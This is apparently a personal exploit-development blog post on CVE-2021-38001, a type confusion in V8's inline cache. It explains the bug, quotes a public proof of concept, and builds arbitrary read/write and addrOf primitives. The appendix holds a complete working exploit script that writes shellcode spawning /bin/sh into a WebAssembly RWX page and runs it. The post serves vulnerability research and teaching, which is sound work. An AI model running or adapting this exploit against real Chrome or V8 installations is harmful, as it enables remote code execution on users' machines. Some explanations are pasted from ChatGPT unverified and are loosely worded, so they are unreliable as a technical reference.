Some Background Info
CVE-2021-38001 is reported on TianFu Cup 2021. This bug exploits a type confusion issue happened in V8’s inline cache and can result in remote code execution.
In my last V8 pwn blog, I analyzed and reproduced CVE-2020-6507. Its root cause is an OOB read/write issue happened in V8’s JIT phase. But to exploit the bug, I didn’t need to understand how JIT works in V8 at all. This time, CVE-2021-38001 as a type confusion bug, requires some basic knowledge on what an inline cache is, and how it works in v8.
Briefly Knowing Inline Cache
When I first hear about the term ‘Inline Cache’, I have no idea what it does. I am aware it’s some sort of cache, but have no clue where ‘inline’ fits in(I still don’t).
To get started, let’s take a look at some JS code:
class A {
constructor() {
this.a = 69
this.b = 420
}
}
let a = new A()
We know that, a
will have property of a.a
and a.b
. It’s property should be stored in the property field of its JSObject. When we write another line of code like: console.log(a.a)
, and examining the byte code generated by V8:

we see this LdaNamedProperty
call. I’m not going to read V8’s source code on this, but one thing to know is, V8 uses this function to load properties.
By analyzing a
in gdb, we see:

and look at its memory content:

we have the values of properties we are looking for. I guess the name of properties are stored somewhere else, but not quite relevant in this case. When properties are few, V8 will store values right after its metadata(e.g. HiddenClass, Property, Element) just like our case. When properties are kept added, V8 will allocate an array like object to store those additional properties.
Now, we understand how V8 find properties a bit, let’s consider this: when an object’s property is being accessed many times, surely V8 will do something about it to speed up the execution, right? This is where Inline Cache(IC) comes in.
IC caches frequently accessed properties, to speed things up, entries in IC will not go through the normal process of property looking up, instead, IC stores the offset of property relative to the object being accessed. There are 3 states of IC in V8:
- Monomorphic IC: when only one type of object has the property
- Polymorphic IC: when multiple types of object have the same property
- Megamorphic IC: when too many types of object all have the same property
Continue with our code example, suppose I add this function:
function foo(obj) {
return obj.a
}
for monomorphic IC, when I only call foo
with one type, and similarly, I call foo(obj1)
and foo(obj2)
with obj1
and obj2
being different types of objects in polymorphic IC, the same applies for megamorphic IC.
When a property is being accessed first time, it’s not in the cache, but after a few times’ access, V8 will put it in IC, and after IC stores its information, when this property is being accessed again, it will hit IC, and IC will provide a faster way of getting its value.
To give a brief example, in our a
object example, when a.b
hits IC, it will find object a
‘s address, and get whatever value is at its address(a) + 0xc
offset.
At this point, you may see how this is going, if we somehow makes IC think the object’s property we are accessing is another object, it will go to this another object’s offset and get the value. But before we dive into the root cause of this bug, and how to exploit type confusion, we need to know about receiver
, lookup_start_object
and holder
in V8.
Now, we add more classes to our example code:
class B extends A {
constructor() {
this.c = 1337
}
}
class C extends B {
constructor() {
this.d = 42
}
}
function bar(obj) {
return obj.c
}
bar(c)
Assume we call bar
. In this case, receiver
is the object who is initiating the property lookup, and in our case, c
is the receiver
as the property access is from c
. lookup_start_object
is the object which the lookup starts on, and in our case, at first, it will be c
as well. But since C
doesn’t really have the property C.c
declared in its constructor, so V8 continues to go up the hierachy. B
is C
‘s parent class, and it will be lookup_start_object
‘s next value, since B
has the property B.c
, the lookup will stop here, and it assigns holder
to B
, as it owns the property named c
. If there’s another function trying to access obj.b
, the process will be similar, but holder
will be A
, and lookup_start_object
will start as C
, then B
, and eventually A
.
Root Cause Analysis
Here is a screenshot of the patch:

For someone doesn’t know a lot about V8 internals like me, I really have no idea what the problem is. But from skimming through it, it probably has something to do with module import or exports. Lucky for me, there is a PoC shared by vngkv123, also check out his/her analysis on this bug:
import * as module from "1.mjs";
function poc() {
class C {
m() {
return super.y;
}
}
let zz = {aa: 1, bb: 2};
// receiver vs holder type confusion
function trigger() {
// set lookup_start_object
C.prototype.__proto__ = zz;
// set holder
C.prototype.__proto__.__proto__ = module;
// "c" is receiver in ComputeHandler [ic.cc]
// "module" is holder
// "zz" is lookup_start_object
let c = new C();
c.x0 = 0x40404040 / 2;
c.x1 = 0x42424242 / 2;
c.x2 = 0x44444444 / 2;
c.x3 = 0x46464646 / 2;
c.x4 = 0x48484848 / 2;
// LoadWithReceiverIC_Miss
// => UpdateCaches (Monomorphic)
// CheckObjectType with "receiver"
let res = c.m();
}
for (let i = 0; i < 0x100; i++) {
trigger();
}
}
poc();
The PoC imports some variable from a module, and in the trigger()
function, it sets the prototype of class C
, create a new instance of C
, and sets multiple properties of it, and finally, returns c.m()
, which fetches the value of super.y
.
Now, we jump back to V8, and let’s read some source. In ic.cc
, ComputeHandler
function finds the handler for the lookup object. I recommand reading its entire code, but here is what matters to this CVE:
Handle<Object> LoadIC::ComputeHandler(LookupIterator* lookup) {
// ... snip
switch (lookup->state()) {
// ...
case LookupIterator::ACCESSOR: {
Handle<JSObject> holder = lookup->GetHolder<JSObject>();
// Use simple field loads for some well-known callback properties.
// The method will only return true for absolute truths based on the
// lookup start object maps.
FieldIndex index;
// ...
if (holder->IsJSModuleNamespace()) {
Handle<ObjectHashTable> exports(
Handle<JSModuleNamespace>::cast(holder)->module().exports(),
isolate());
InternalIndex entry =
exports->FindEntry(isolate(), roots, lookup->name(),
Smi::ToInt(lookup->name()->GetHash()));
// We found the accessor, so the entry must exist.
DCHECK(entry.is_found());
int index = ObjectHashTable::EntryToValueIndex(entry);
return LoadHandler::LoadModuleExport(isolate(), index);
}
// ...
In the switch
statement, it checks the lookup object’s state. Its states are defined in lookup.h
:
enum State {
ACCESS_CHECK,
INTEGER_INDEXED_EXOTIC,
INTERCEPTOR,
JSPROXY,
NOT_FOUND,
ACCESSOR,
DATA,
TRANSITION,
// Set state_ to BEFORE_PROPERTY to ensure that the next lookup will be a
// PROPERTY lookup.
BEFORE_PROPERTY = INTERCEPTOR
};
I couldn’t find much info on what ACCESSOR
represents, so I turned ChatGPT for help. At least according to it, ACCESSOR
is used to access property when there is getter and setter methods. Enough of this, let’s continue down the path. When the property holder is in JSModuleNamespace
, it finds the entry in exports
of the module, then, finds the index of the value, and finally, returns LoadModuleExport(isolate(), index)
.
Let’s follow up and read the code for LoadModuleExport
in handler-configuration-inl.h
:
Handle<Smi> LoadHandler::LoadModuleExport(Isolate* isolate, int index) {
int config =
KindBits::encode(kModuleExport) | ExportsIndexBits::encode(index);
return handle(Smi::FromInt(config), isolate);
}
Not sure what it really does, but I assume it takes the index of value and loads it.
For now, we have a general idea on how the property’s value is returned:
module->exports->index->value@index
In accessor-assembler.cc
, it’s also the file being patched, we have a snippet:
BIND(&module_export);
{
Comment("module export");
TNode<UintPtrT> index =
DecodeWord<LoadHandler::ExportsIndexBits>(handler_word);
TNode<Module> module = LoadObjectField<Module>(
CAST(p->receiver()), JSModuleNamespace::kModuleOffset);
TNode<ObjectHashTable> exports =
LoadObjectField<ObjectHashTable>(module, Module::kExportsOffset);
TNode<Cell> cell = CAST(LoadFixedArrayElement(exports, index));
// The handler is only installed for exports that exist.
TNode<Object> value = LoadCellValue(cell);
Label is_the_hole(this, Label::kDeferred);
GotoIf(IsTheHole(value), &is_the_hole);
exit_point->Return(value);
BIND(&is_the_hole);
{
TNode<Smi> message = SmiConstant(MessageTemplate::kNotDefined);
exit_point->ReturnCallRuntime(Runtime::kThrowReferenceError, p->context(),
message, p->name());
}
}
It binds with module_export
, and does the following:
- loads the
module
object fromp->receiver()
in theJSModuleNamespace
object - loads the
exports
object frommodule
object based on offset - gets the
cell
at certain index fromexports
- loads the
value
atcell
- returns the
value
But wait a minute, if we read carefully at ic.cc
:
Handle<ObjectHashTable> exports(
Handle<JSModuleNamespace>::cast(holder)->module().exports(),
isolate());
we see cast(holder)->module().exports()
, and in accessor-assembler.cc
:
LoadObjectField<Module>(
CAST(p->receiver()), JSModuleNamespace::kModuleOffset);
First we are passing in holder
as the lookup_start_object
, and later, we are accessing receiver
‘s property based on offsets. And this is the type confusion between holder
and receiver
. When lookup_start_object(holder)
and receiver
are different, type confusion is triggered.
Recall the PoC earlier, in the trigger()
function, we first set C
‘s prototype to zz
, and zz
‘s prototype to module
variable, which is an object from JSModuleNamespace
. Now, when c.m()
is called, it tries to find super.y
, which is a property owned by its parent class. Since zz
doesn’t have this property, it goes up the prototype chain and finds module
as its eventual holder
. In this case, receiver
is C
and holder
is module
. And in IC, when IC tries to access the property, it lookups to the offset of JSModuleNamespace->module
first, which will fail since the JSModuleNamespace
is now C
. And it will continue down this path.
When we try to execute this PoC in d8, it will throw a memory access error:

we see the value of C.x0
is accessed as a pointer, and since this address doesn’t have anything, SEGV_ACCERR
happens.
Let’s use gdb to debug and see normally how would IC finds the property. Here is the debug info about JSModuleNamespace
:
DebugPrint: 0xac30804a0c5: [JSModuleNamespace]
- map: 0x0ac308207b69 <Map(DICTIONARY_ELEMENTS)> [DictionaryProperties]
- prototype: 0x0ac308002235 <null>
- elements: 0x0ac308003295 <NumberDictionary[7]> [DICTIONARY_ELEMENTS]
- module: 0x0ac3081d3535 <Other heap object (SOURCE_TEXT_MODULE_TYPE)>
- properties: 0x0ac30804a0d9 <NameDictionary[17]>
- All own properties (excluding elements): {
0x0ac308005669 <Symbol: Symbol.toStringTag>: 0x0ac3080049f5 <String[6]: #Module> (data, dict_index: 1, attrs: [___]
)
bar: 0x0ac3081d35c5 <AccessorInfo> (accessor, dict_index: 2, attrs: [WE_])
}
- elements: 0x0ac308003295 <NumberDictionary[7]> {
- max_number_key: 0
}
we see module
is at 0x081d3535
‘s offset, and examine its memory space:

it’s at JSModuleNamespace+0xc
‘s offset. Next one should be module->exports
:
0xac3081d3535: [SourceTextModule] in OldSpace
- map: 0x0ac308002ddd <Map[72]>
- exports: 0x0ac308049e8d <HashTable[11]>
- status: 6
- exception: 0x0ac30800242d <the_hole>
- sfi/code/info: 0x0ac30804a025 <JSGenerator>
- script: 0x0ac3081d33c1 <Script>
- origin: 0x0ac308049e19 <String[43]: "/root/research/v8/test/cve-2021-38001/1.mjs">
- requested_modules: 0x0ac30800222d <FixedArray[0]>
- import_meta: 0x0ac30800242d <the_hole>
- cycle_root: 0x0ac3081d3535 <Other heap object (SOURCE_TEXT_MODULE_TYPE)>
- async_evaluating_ordinal: 0
and exports is at 0x08049e8d
:

its offset is module+0x4
bytes. Then we need to find the cell of exported value in a hash map:

and the cell value is at exports+0x28
bytes of offset. Since this is a hashmap, the value constantly changes, but you get the idea. We also see from the screenshot above that the value of cell is stored at 0x0804a095
:

at the offset of cell+0x4
bytes’s address. And this will be the final value returned by IC. The full chain looks like this:

In my example, I named my JSModuleNamespace
as foo
, and the exported field as bar
, hence the foo.bar
node.
Now if we look at this finding path diagram, we may notice that, when we assign additional properties to C
, since the amount is not many, those values will be stored as in-object property. And at C+0xc
bytes of offset, that is, after HiddenClass(4 bytes), Property(4 bytes), Elements(4 bytes)
, the value of Property1
, hence the value of C.x0 = 0x40404040 / 2
. But why do we need to divide the value to half? This is because how V8 handles SMall Integers(SMI) and pointers. This explanation by ChatGPT4 seems legit so I will throw it here:
In V8, Small Integers (SMIs) and pointers are treated differently by using a tagging mechanism. The least significant bit (LSB) of a value is used to differentiate between the two. Here’s an example illustrating how V8 represents SMIs and pointers:
Let’s say we have a 32-bit system. The least significant bit is used as a tag:
- For SMIs:
- The least significant bit is set to 0.
- The remaining 31 bits store the actual integer value, shifted left by 1 bit.
Example: The integer 42 (in binary: 101010
) would be represented as an SMI as follows:
101010 << 1 = 1010100
So, the SMI representation of 42 would be 1010100
in binary, or 0x54
in hexadecimal.
- For pointers (objects or heap-allocated values):
- The least significant bit is set to 1.
- The remaining 31 bits store the memory address.
Example: Let’s assume we have a pointer to a memory address 0x12345678
. In V8, the pointer would be represented as:
0x12345678 | 1 = 0x12345679
So, the V8 representation of the pointer would be 0x12345679
.
This tagging mechanism allows V8 to distinguish between SMIs and pointers quickly by checking the least significant bit. If the LSB is 0, V8 knows it’s dealing with an SMI; if the LSB is 1, V8 knows it’s a pointer.
Please note that the example above is for a 32-bit system. In a 64-bit system, SMIs use a similar tagging mechanism but store 32-bit integer values in the lower 32 bits of a 64-bit word.
Exploitation
Now we know how type confusion happens, and how would IC access the confused property value. We need to develop a plan to exploit this into RCE to say the least. Last time when I exploited CVE-2020-6570, it’s caused by OOB read and write, so with limited read and write capabilities I was able to make addrOf
and fakeObj
function, and eventually more capable read and write functions. This time, we don’t have read and write capabilities. With type confusion, we can try to construct a fake object first, then addrOf
and the rest stuff, but in order to achieve this, we need to know the address of our fake object, map info and such.
Heap Spray?
May I present you the heap spray technique in V8. I left a question mark in the title of section is because I don’t really understand what I’m about to do has anything to do with the ‘Heap Spray’ I used to know. Hcamael explained this really well, 10/10 would recommand, his blog in Chinese tho.
If we go back to gdb and use the vmmap
command, we will see all memory segments used by V8, and we see one segment of them:

Contents in 0x081c0000
are:
pwndbg> x/16gx 0xa7c081c0000
block size
0xa7c081c0000: 0x00000000 00040000 0x0000000000000004
another heap address heap start address
0xa7c081c0010: 0x0000557d0db56e58 0x00000a7c 081c2118
current heap pointer heap space left
0xa7c081c0020: 0x00000a7c 08200000 0x00000000 0003dee8
0xa7c081c0030: 0x0000000000000000 0x0000000000002118
0xa7c081c0040: 0x0000557d0dbd9200 0x0000557d0db48ea0
0xa7c081c0050: 0x00000a7c081c0000 0x0000000000040000
0xa7c081c0060: 0x0000557d0dbd7190 0x0000000000000000
0xa7c081c0070: 0xffffffffffffffff 0x0000000000000000
We see each heap block is 0x40000 bytes long, and it starts at 0x2118 offset. And an empty heap block will have 0x3dee8 bytes of space left. V8 allocates new heap blocks when the current one is not enough, so if we were to create a large array with size of almost 0x3dee8
bytes, it should force V8 to allocate a new heap block. And those heap blocks’ addresses are fixed, so if we construct our fake object in this large array, we will know its address right off the bat.
Let’s test this with some array declaration:
let a = Array(0x7bd0)
a.fill(1.1)
I decided to create a double array, floats in V8 takes 8 bytes of space, and 0x7bd0 ~ (0x3dee8 / 8)
. This should fill an entire block, and a new block should appear.

We see now the heap segment ends at 0x08280000, and its size is now 0xc0000. If we look at memory content at 0x2118 offset of this new block, we see:

the map, size of array’s element, and the rest if full of float numbers. Next step is to use the knowledge we already have to construct a fake object. A fake object needs to have a map, property and element pointer. We also need to make sure the offsets are correct, such that when triggering type confusion, IC will return our fake object as value.
Fake Object
Again, Hcalmael purposed a smart way of setting up lookup chains by assigning C.x0
to an object with many properties:
var obj_prop_ut_fake = {};
for (var i = 0x0; i < 0x11; i++) {
obj_prop_ut_fake['x'+i] = itof64(0, arr_addr + 8)
}
C.prototype.__proto__ = foo;
let c = new C();
function trigger() {
c.x0 = obj_prop_ut_fake;
let a = c.m()
return a;
}
if we think about a JSObject’s memory layout in memory, the first offset IC accesses is JSModuleNamespace->module
, which is at the +0x4 offset. It will be a JSObject’s property array’s address. If an object is created with many properties, V8 will put the first few properties after elements pointer as in-object property. The rests will be stored in property array.
So this +0x4 offset will access object’s property array, and to continue, IC looks for the module->exports
offset, which is randomized in a hashmap. This is why we need a loop to fill the properties with the same value, this is to make sure no matter which offset IC takes, it will always land the same address.
With this setup, we are done with JSModuleNamespace->module->exports
, and the current pointer IC is at the cell of exported value, IC accesses value of the cell by getting the content at its +0x4 offset. That is to say, if we place our fake object at index i, then IC finds the address at arr[i]+0x4
, which is the lower 4 bytes of arr[i+1]
.
We can now calculate the offsets and indexes we want to modify for fake object. Before this, we need a map’s value. Fake object should be a double array type, and we need to find a way to somehow get double array’s map address. Turns out I couldn’t figure out a good way of doing so, I am aware that V8 leaves the same map address fixed upon every execution, so I created a double array and copied its map address and put it as my fake object’s map.
let arr_addr = 0x081c2119 + 0x80000
let arr_index0_addr = arr_addr + 8
let arr = Array(0x7bd0)
arr.fill(1.1)
// fake_obj@[arr_addr+0x8]
fake_obj_addr = arr_addr + 0x100
fake_obj_map_index = (fake_obj_addr - arr_index0_addr) / 8
fake_obj_elm_index = fake_obj_map_index + 1
// fake_array is now part of arr
arr[fake_obj_map_index] = itof64(0x0800222d, 0x08203ae1)
arr[fake_obj_elm_index] = itof64(0x00001000, arr_addr - 8)
Arbitrary Read and Write
And with fake object being crafted, we can now build a arbitrary read and write function:
let fake_obj = trigger()
function read(addr, n) {
data = []
arr[fake_obj_elm_index] = itof64(0x00001000, addr - 8)
for (let i = 0; i < n; i++) {
data.push(fake_obj[i])
}
return data
}
console.log(ftoh(read(0x081c0008, 2)[0]))

and write:
function write(addr, data) {
arr[fake_obj_elm_index] = itof64(0x00001000, addr - 8)
fake_obj[0] = data
}
console.log(ftoh(read(0x081c1000, 1)[0]))
write(0x081c1000, itof64(0xdeadbeef, 0xcafebabe))
console.log(ftoh(read(0x081c1000, 1)[0]))

which totally works, so that’s good to know.
addrOf
Last step before RCE is to write a addrOf
function. In order to do this, we need an object array instead, as we need to assign objects we want to read in the array, object arrays store objects by their pointer, then we can read it as a double value. We also need to know the address, though, but we can use the similar idea when creating the large double array. Since object array stores pointers, so its single element size will be 4 bytes instead of 8 bytes as it is in double array.
If we create a new large object array with size to fill a single heap block, it will be at 0x40000 after our double array. We can test it out:
let obj_arr = Array(0xf7a0)
obj_arr.fill({"a":"b"})
%%DebugPrint(obj_arr)
read(0x081c2119 + 0xc0000, 10)

And let’s continue:
let test = {"sd": 1, "44": 42}
%DebugPrint(test)
obj_arr[0] = test
read(obj_arr_addr + 8)

to make addrOf
function:
function addrOf(obj) {
obj_arr[0] = obj
let addr = read(obj_arr_addr + 8)[0]
return (ftoi(addr) & 0xffffffffn)
}
The Rest
The rest is pretty much the same, finds the RWX memory segment, and write shellcode into it.

What Could Be Better…
I’m not sure if map addresses will stay fixed among different versions of V8/D8, but I assume so. A fully functional exploit should be able to work under any vulnerable environment, I believe. But with my current understanding and skills, I will say this is good enough for me. Personally, I don’t like my way of building fake object with hard-coded map address, but it really is the only way I can think of.
Reference
- https://paper.seebug.org/1825/
- https://github.com/vngkv123/articles/blob/main/CVE-2021-38001.md
- https://ret2ver.github.io/2022/01/11/CVE-2021-38001-%EF%BC%9AV8-IC-%E4%B8%AD%E7%9A%84%E7%B1%BB%E5%9E%8B%E6%B7%B7%E6%B7%86%E6%BC%8F%E6%B4%9E/
I’m sharing my notes out when doing this exploit development, feel free do read it.
Appendix
1.mjs
export let bar = {}
CVE-2021-38001.js
import('./1.mjs').then((foo) => {
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module, {});
var shell = wasm_instance.exports.main;
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
function ftoi(f){
f64[0] = f;
return bigUint64[0];
}
function itof(i){
bigUint64[0] = BigInt(i);
return f64[0];
}
function itof64(h, l){
return itof((BigInt(h) << 32n) + BigInt(l))
}
function ftoh(f){
return itoh(ftoi(f));
}
function itoh(i){
var pad = 16;
if (BigInt(i) < 0){
i = BigInt(i) & 0xffffffffn
}
if (BigInt(i) >> 32n == 0){
pad = 8;
}
return '0x'+i.toString(16).padStart(pad, "0");
}
let arr_addr = 0x081c2119 + 0x80000
let arr_index0_addr = arr_addr + 8
let arr = Array(0x7bd0)
arr.fill(1.1)
// fake_obj@[arr_addr+0x8]
fake_obj_addr = arr_addr + 0x100
fake_obj_map_index = (fake_obj_addr - arr_index0_addr) / 8
fake_obj_elm_index = fake_obj_map_index + 1
// fake_array is now part of arr
arr[fake_obj_map_index] = itof64(0x0800222d, 0x08203ae1)
arr[fake_obj_elm_index] = itof64(0x00001000, arr_addr - 8)
let obj_arr = Array(0xf7a0)
let obj_arr_addr = 0x081c2119 + 0xc0000
obj_arr.fill({"a":"b"})
class C {
m() {
return super.bar;
}
}
var obj_prop_ut_fake = {};
for (var i = 0x0; i < 0x11; i++) {
obj_prop_ut_fake['x'+i] = itof64(0, fake_obj_addr)
}
C.prototype.__proto__ = foo;
let c = new C();
function trigger() {
c.x0 = obj_prop_ut_fake;
let a = c.m()
return a;
}
for (var i=0;i<0x20;i++) {
trigger()
}
let fake_obj = trigger()
function read(addr, n=1) {
addr = BigInt(addr)
data = []
arr[fake_obj_elm_index] = itof64(0x00001000, addr - 8n)
for (let i = 0; i < n; i++) {
v = fake_obj[i]
data.push(v)
console.log("read: ", itoh(addr - 8n + BigInt(i * 8)), ftoh(v))
}
return data
}
function write(addr, data) {
addr = BigInt(addr)
arr[fake_obj_elm_index] = itof64(0x00001000, addr - 8n)
fake_obj[0] = itof(data)
console.log('write: ', itoh(addr - 8n), itoh(data));
}
function addrOf(obj) {
obj_arr[0] = obj
let addr = read(obj_arr_addr + 8)[0]
return (ftoi(addr) & 0xffffffffn)
}
function write_shellcode(shellcode, rwx_addr){
var buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(buf);
var buf_addr = addrOf(buf) & 0xffffffffn;
console.log('buf address: ', itoh(buf_addr));
var back_store_addr_l = ftoi(read(buf_addr + 24n)[0]);
var back_store_addr_h = ftoi(read(buf_addr + 32n)[0]);
var rwx_addr_h = rwx_addr >> 32n;
var rwx_addr_l = rwx_addr & 0xffffffffn;
var new_bs_addr_l = (back_store_addr_l & 0xffffffffn) + (rwx_addr_l << 32n);
var new_bs_addr_h = (back_store_addr_h >> 32n << 32n) + (rwx_addr_h);
write(buf_addr + 24n, new_bs_addr_l);
write(buf_addr + 32n, new_bs_addr_h);
for (var i = 0; i < shellcode.length; i++){
data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}
}
var wasm_addr = addrOf(wasm_instance);
console.log('wasm instance address: ', itoh(wasm_addr));
var rwx_addr = read((wasm_addr + 0x60n))[0];
console.log('rwx address: ', ftoh(rwx_addr));
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
write_shellcode(shellcode, ftoi(rwx_addr));
shell();
})